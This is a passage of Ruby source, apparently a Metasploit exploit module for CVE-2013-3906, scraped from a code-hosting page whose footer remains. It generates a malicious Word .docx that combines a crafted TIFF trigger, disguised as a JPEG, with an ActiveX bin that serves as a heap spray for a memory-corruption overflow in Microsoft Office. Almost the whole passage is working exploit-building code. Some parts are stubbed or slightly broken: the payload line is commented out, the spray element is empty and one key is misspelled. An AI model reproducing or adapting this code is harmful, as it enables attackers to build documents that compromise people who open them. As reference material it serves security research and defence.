'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 8 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a TIFF that triggers the overflow
|
||||
#
|
||||
def make_tiff
|
||||
# TIFF Header:
|
||||
# TIFF ID = 'II' (Intel order)
|
||||
# TIFF Version = 42d
|
||||
# Offset of FID = 0x000049c8h
|
||||
#
|
||||
# Image Directory:
|
||||
# Number of entries = 17d
|
||||
# Entry[0] NewSubFileType = 0
|
||||
# Entry[1] ImageWidth = 256d
|
||||
# Entry[2] ImageHeight = 338d
|
||||
# Entry[3] BitsPerSample = 8 8 8
|
||||
# Entry[4] Compression = JPEG (6)
|
||||
# Entry[5] Photometric Interpretation = RGP
|
||||
# Entry[6] StripOffsets = 68 entries (349 bytes)
|
||||
# Entry[7] SamplesPerPixel = 3
|
||||
# Entry[8] RowsPerStrip = 5
|
||||
# Entry[9] StripByteCounts = 68 entries (278 bytes)
|
||||
# Entry[10] XResolution = 96d
|
||||
# Entry[11] YResolution = 96d
|
||||
# Entry[12] Planar Configuration = Clunky
|
||||
# Entry[13] Resolution Unit = Inch
|
||||
# Entry[14] Predictor = None
|
||||
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
|
||||
# Entry[16] JPEGInterchangeFormat = 13636d
|
||||
|
||||
# Notes:
|
||||
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
|
||||
# - JPEGInterchangeFormatLength
|
||||
# - DWORD at offset 3324h (0xffffb898), no documentation for this
|
||||
# - DWORDS after offset 3328h, no documentation for these, either.
|
||||
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
|
||||
# The trigger is really a TIF file, but is named as a JPEG in the docx package
|
||||
|
||||
buf = ''
|
||||
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
|
||||
::File.open(path, "rb") do |f|
|
||||
buf = f.read
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates an ActiveX bin that will be used as a spray in Office
|
||||
#
|
||||
def make_activex_bin
|
||||
#
|
||||
# How an ActiveX bin is referred:
|
||||
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
|
||||
# Every bin is a Microsoft Compound Document File:
|
||||
# http://www.openoffice.org/sc/compdocfileformat.pdf
|
||||
|
||||
# The bin file
|
||||
mscd = ''
|
||||
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
|
||||
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
|
||||
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
|
||||
mscd << [0x003e].pack('v') # Revision number
|
||||
mscd << [0x0003].pack('v') # Version number
|
||||
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
|
||||
mscd << [0x0009].pack('v') # Sector size
|
||||
mscd << [0x0006].pack('v') # Size of a short-sector
|
||||
mscd << "\x00" * 10 # Not used
|
||||
mscd << [0x00000001].pack('V') # Total number of sectors
|
||||
mscd << [0x00000001].pack('V') # SecID for the first sector
|
||||
mscd << [0x00000000].pack('V') # Not used
|
||||
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
|
||||
mscd << [0x00000002].pack('V') # Sec ID of first sector
|
||||
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
|
||||
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
|
||||
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
|
||||
mscd << [0x00000000].pack('V') # SecIDs
|
||||
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
|
||||
mscd << Rex::Text.to_unicode("Root Entry")
|
||||
mscd << [0x00000000].pack('V') * 11
|
||||
mscd << [0x0016].pack('v') # Valid range of the previous char array
|
||||
mscd << "\x05" # Type of entry (Root Storage Entry)
|
||||
mscd << "\x00" # Node colour of the entry (red)
|
||||
mscd << [0xffffffff].pack('V') # DirID of the left child node
|
||||
mscd << [0xffffffff].pack('V') # DirID of the right child node
|
||||
mscd << [0x00000001].pack('V') # DirID of the root node entry
|
||||
mscd << [0x1efb6596].pack('V')
|
||||
mscd << [0x11d1857c].pack('V')
|
||||
mscd << [0xc0006ab1].pack('V')
|
||||
mscd << [0x283628f0].pack('V')
|
||||
mscd << [0x00000000].pack('V') * 3
|
||||
mscd << [0x287e3070].pack('V')
|
||||
mscd << [0x01ce2654].pack('V')
|
||||
mscd << [0x00000003].pack('V')
|
||||
mscd << [0x00000100].pack('V')
|
||||
mscd << [0x00000000].pack('V')
|
||||
mscd << Rex::Text.to_unicode("Contents")
|
||||
mscd << [0x00000000].pack('V') * 12
|
||||
mscd << [0x01020012].pack('V')
|
||||
mscd << [0xffffffff].pack('V') * 3
|
||||
mscd << [0x00000000].pack('V') * 10
|
||||
mscd << [0x000000e4].pack('V')
|
||||
mscd << [0x00000000].pack('V') * 18
|
||||
mscd << [0xffffffff].pack('V') * 3
|
||||
mscd << [0x00000000].pack('V') * 29
|
||||
mscd << [0xffffffff].pack('V') * 3
|
||||
mscd << [0x00000000].pack('V') * 12
|
||||
mscd << [0x00000001].pack('V')
|
||||
mscd << [0x00000002].pack('V')
|
||||
mscd << [0x00000003].pack('V')
|
||||
mscd << [0xfffffffe].pack('V')
|
||||
mscd << [0xffffffff].pack('V') * 52
|
||||
# mscd << "PAYLOAD"
|
||||
|
||||
mscd
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates an activeX[num].xml file
|
||||
# @param rid [String] The relationship ID (example: rId1)
|
||||
# @return [String] XML document
|
||||
#
|
||||
def make_activex_xml(rid)
|
||||
attrs = {
|
||||
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
|
||||
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
|
||||
'ax:persistence' => "persistStorage",
|
||||
'r:id' => rid,
|
||||
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
|
||||
'xmlns:r' => "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
|
||||
}
|
||||
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
|
||||
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
||||
xml.custom_root("ax")
|
||||
xml.ocx(attrs)
|
||||
end
|
||||
|
||||
builder.to_xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates an activeX[num].xml.rels
|
||||
# @param relationships [Array] A collection of hashes with each containing:
|
||||
# :id, :type, :target
|
||||
# @return [String] XML document
|
||||
#
|
||||
def make_activex_xml_reals(rid, target_bin)
|
||||
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
|
||||
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
||||
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
||||
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
|
||||
xml.Relationship({:Id=>rid, :Type=>acx_type, :Target=>target_bin})
|
||||
end
|
||||
end
|
||||
|
||||
builder.to_xml
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a document.xml.reals file
|
||||
# @param relationships [Array] A collection of hashes with each containing:
|
||||
# :id, :type, and :target
|
||||
# @return [String] XML document
|
||||
#
|
||||
def make_doc_xml_reals(relationships)
|
||||
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
||||
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
||||
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
|
||||
relationships.each do |r|
|
||||
xml.Relationship({:Id=>r[:id], :Type=>r[:type], :Target=>r[:target]})
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
builder.to_xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates a document.xml file
|
||||
# @param pre_defs [Array]
|
||||
# @param activex [Array]
|
||||
# @param tiff_file [Array]
|
||||
# @return [String] XML document
|
||||
#
|
||||
def init_doc_xml(pre_defs, activex, tiff_file)
|
||||
# Get all the required pre-defs
|
||||
chart_rids = []
|
||||
pre_defs.select { |e| chart_rids << e[:rid] }
|
||||
|
||||
# Get all the ActiveX RIDs
|
||||
ax_rids = []
|
||||
activex.select { |e| ax_rids << e[:rid] }
|
||||
|
||||
# Get the TIFF RID
|
||||
tiff_rid = tiff_file[:rid]
|
||||
|
||||
|
||||
# Documentation on how this is crafted:
|
||||
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
|
||||
doc_attrs = {
|
||||
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
|
||||
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
|
||||
'xmlns:r' => "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
|
||||
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
|
||||
'xmlns:v' => "urn:schemas-microsoft-com:vml",
|
||||
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
|
||||
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
|
||||
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
|
||||
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
|
||||
'xmlns:a' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
|
||||
'xmlns:c' => "http://schemas.openxmlformats.org/markup-compatibility/2006"
|
||||
}
|
||||
|
||||
p_attrs = {
|
||||
'w:rsidR' => "00F8254F",
|
||||
'w:rsidRDefault' => "00D15BD0"
|
||||
}
|
||||
|
||||
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
||||
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
||||
xml.custom_root("w")
|
||||
|
||||
xml.document(doc_attrs) do
|
||||
xml.body do
|
||||
# Paragraph (ActiveX)
|
||||
xml.p(p_attrs) do
|
||||
# Paragraph properties
|
||||
xml.pPr do
|
||||
# Run properties
|
||||
xml.rPr do
|
||||
xml.lang({'w:val' => "en-US"})
|
||||
end
|
||||
|
||||
# The "spray" is contained in these "run" elements
|
||||
xml.r do
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Paragraph (Charts)
|
||||
xml.p(p_attrs) do
|
||||
xml.pPr do
|
||||
xml.r do
|
||||
xml.rPr do
|
||||
xml.noProof
|
||||
xml.lang({'w:val' => "en-US"})
|
||||
end
|
||||
xml.drawing do
|
||||
xml.inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
|
||||
#xml.extend({'cx'=>'1', 'cy'=>'1'})
|
||||
xml.effectExtend({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
|
||||
xml.docPr({'id'=>'1', 'name' => "drawing 1"})
|
||||
xml.cNvGraphicFramePr
|
||||
xml['a'].graphic({'xmlns'=>"http://schemas.openxmlformats.org/drawingml/2006/main"}) do
|
||||
xml['a'].graphicData({'uri'=>"http://schemas.openxmlformats.org/drawingml/2006/chart"}) do
|
||||
xml['c'].chart({'xmlns:c'=>"http://schemas.openxmlformats.org/drawingml/2006/chart", 'xmlns:r'=>"http://schemas.openxmlformats.org/officeDocument/2006/relationships"})
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Paragraph (TIFF)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
builder.to_xml
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a [Content.Types].xml file located in the parent directory
|
||||
# @param overrides [Array] A collection of hashes with each containing
|
||||
# the :PartName and :ContentType info
|
||||
# @return [String] XML document
|
||||
#
|
||||
def make_contenttype_xml(overrides)
|
||||
contenttypes = [
|
||||
{
|
||||
:Extension =>"rels",
|
||||
:ContentType =>"application/vnd.openxmlformats-package.relationships+xml"
|
||||
},
|
||||
{
|
||||
:Extension =>"xml",
|
||||
:ContentType =>"application/xml"
|
||||
},
|
||||
{
|
||||
:Extension =>"jpeg",
|
||||
:Contenttype =>"image/jpeg"
|
||||
},
|
||||
{
|
||||
:Extension => "bin",
|
||||
:ContentType => "application/vnd.ms-office.activeX"
|
||||
},
|
||||
{
|
||||
:Extension => "xlsx",
|
||||
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
|
||||
}
|
||||
]
|
||||
|
||||
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
||||
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
||||
xml.root({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
|
||||
# Default extensions
|
||||
contenttypes.each do |contenttype|
|
||||
xml.Override(contenttype)
|
||||
end
|
||||
|
||||
# Additional overrides
|
||||
overrides.each do |override|
|
||||
xml.Override({:PartName => override[:PartName], :ContentType => override[:ContentType]})
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
builder.to_xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Pre-define some items that already exist in the data directory
|
||||
# This is more for the document.xml.rels file
|
||||
#
|
||||
def init_pre_defs
|
||||
last_rid = 0
|
||||
|
||||
pre_defs = []
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}styles", :fname => "word/styles.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}settings", :fname => "word/settings.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}webSettings", :fname => "word/webSettings.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}theme", :fname => "word/theme/theme1.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart1.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart2.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart3.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart4.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart5.xml"}
|
||||
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart6.xml"}
|
||||
|
||||
return last_rid, pre_defs
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Manually create everything manually in the ActiveX directory
|
||||
#
|
||||
def init_activex_files(last_rid)
|
||||
activex = []
|
||||
|
||||
1.times do |i|
|
||||
id = last_rid + i
|
||||
last_rid = id
|
||||
rid = "rId#{id.to_s}"
|
||||
|
||||
bin = {
|
||||
:fname => "word/activeX/ActiveX#{id.to_s}.bin",
|
||||
:bin => make_activex_bin
|
||||
}
|
||||
|
||||
xml = {
|
||||
:fname => "word/activeX/ActiveX#{id.to_s}.xml",
|
||||
:xml => make_activex_xml(rid)
|
||||
}
|
||||
|
||||
rels = {
|
||||
:fname => "word/activeX/_rels/activeX#{id.to_s}.xml.rels",
|
||||
:rels => make_activex_xml_reals(rid, "activeX#{id.to_s}.bin")
|
||||
}
|
||||
|
||||
ct = "application/vnd.ms-office.activeX+xml"
|
||||
type = "#{@schema}control"
|
||||
|
||||
activex << {
|
||||
:rid => rid,
|
||||
:bin => bin,
|
||||
:xml => xml,
|
||||
:rels => rels,
|
||||
:content_type => ct
|
||||
}
|
||||
end
|
||||
|
||||
return last_rid, activex
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a [Content_Types.xml], each node contains these attributes:
|
||||
# :PartName The path to an ActiveX XML file
|
||||
# :ContentType The contenttype of the XML file
|
||||
#
|
||||
def init_contenttype_xml_file(activex)
|
||||
overrides = []
|
||||
activex.each do |obj|
|
||||
overrides << {:PartName => obj[:xml][:fname], :ContentType => obj[:content_type]}
|
||||
end
|
||||
|
||||
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates the tiff file
|
||||
#
|
||||
def init_tiff_file(last_rid)
|
||||
{
|
||||
:rid => "rId#{(last_rid + 1).to_s}",
|
||||
:fname => "word/media/image1.jpeg",
|
||||
:data => make_tiff,
|
||||
:type => "#{@schema}image"
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Create the document.xml.rels file
|
||||
#
|
||||
def init_doc_xml_reals_file(pre_defs, activex, tiff)
|
||||
reals = []
|
||||
pre_defs.each do |obj|
|
||||
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^word\//, '')}
|
||||
end
|
||||
|
||||
activex.each do |obj|
|
||||
reals << {:id => obj[:rid], :tyoe => obj[:type], :target => obj[:xml][:fname].gsub(/^word\//, '')}
|
||||
end
|
||||
|
||||
reals << {:id => tiff[:rid], :type => tiff[:type], :target => tiff[:fname].gsub(/^word\//, '')}
|
||||
|
||||
{:fname => "word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a fiile
|
||||
#
|
||||
def read_file(fname)
|
||||
buf = ''
|
||||
::File.open(fname, "rb") do |f|
|
||||
buf << f.read
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Packages everything to docx
|
||||
#
|
||||
def make_docx(path)
|
||||
print_status("Initializing files...")
|
||||
last_rid, pre_defs = init_pre_defs
|
||||
last_rid, activex = init_activex_files(last_rid)
|
||||
ct_xml_file = init_contenttype_xml_file(activex)
|
||||
tiff_file = init_tiff_file(last_rid)
|
||||
doc_xml_reals_file = init_doc_xml_reals_file(pre_defs, activex, tiff_file)
|
||||
doc_xml = init_doc_xml(pre_defs, activex, tiff_file)
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packing directory: #{p}")
|
||||
zip.add_file(p)
|
||||
else
|
||||
print_status("Packing file: #{p}")
|
||||
zip.add_file(p, read_file(file))
|
||||
end
|
||||
end
|
||||
|
||||
activex.each do |ax|
|
||||
ax_bin = ax[:bin]
|
||||
ax_xml = ax[:xml]
|
||||
ax_rels = ax[:rels]
|
||||
|
||||
print_status("Packing file: #{ax_bin[:fname]}")
|
||||
zip.add_file(ax_bin[:fname], ax_bin[:bin])
|
||||
|
||||
print_status("Packing file: #{ax_xml[:fname]}")
|
||||
zip.add_file(ax_xml[:fname], ax_xml[:xml])
|
||||
|
||||
print_status("Packing file: #{ax_rels[:fname]}")
|
||||
zip.add_file(ax_rels[:fname], ax_rels[:rels])
|
||||
end
|
||||
|
||||
print_status("Packing file: #{ct_xml_file[:fname]}")
|
||||
zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
|
||||
|
||||
print_status("Packing file: #{tiff_file[:fname]}")
|
||||
zip.add_file(tiff_file[:fname], tiff_file[:data])
|
||||
|
||||
print_status("Packing file: #{doc_xml_reals_file[:fname]}")
|
||||
zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
def exploit
|
||||
@schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
|
||||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
|
||||
docx = make_docx(path)
|
||||
file_create(docx)
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user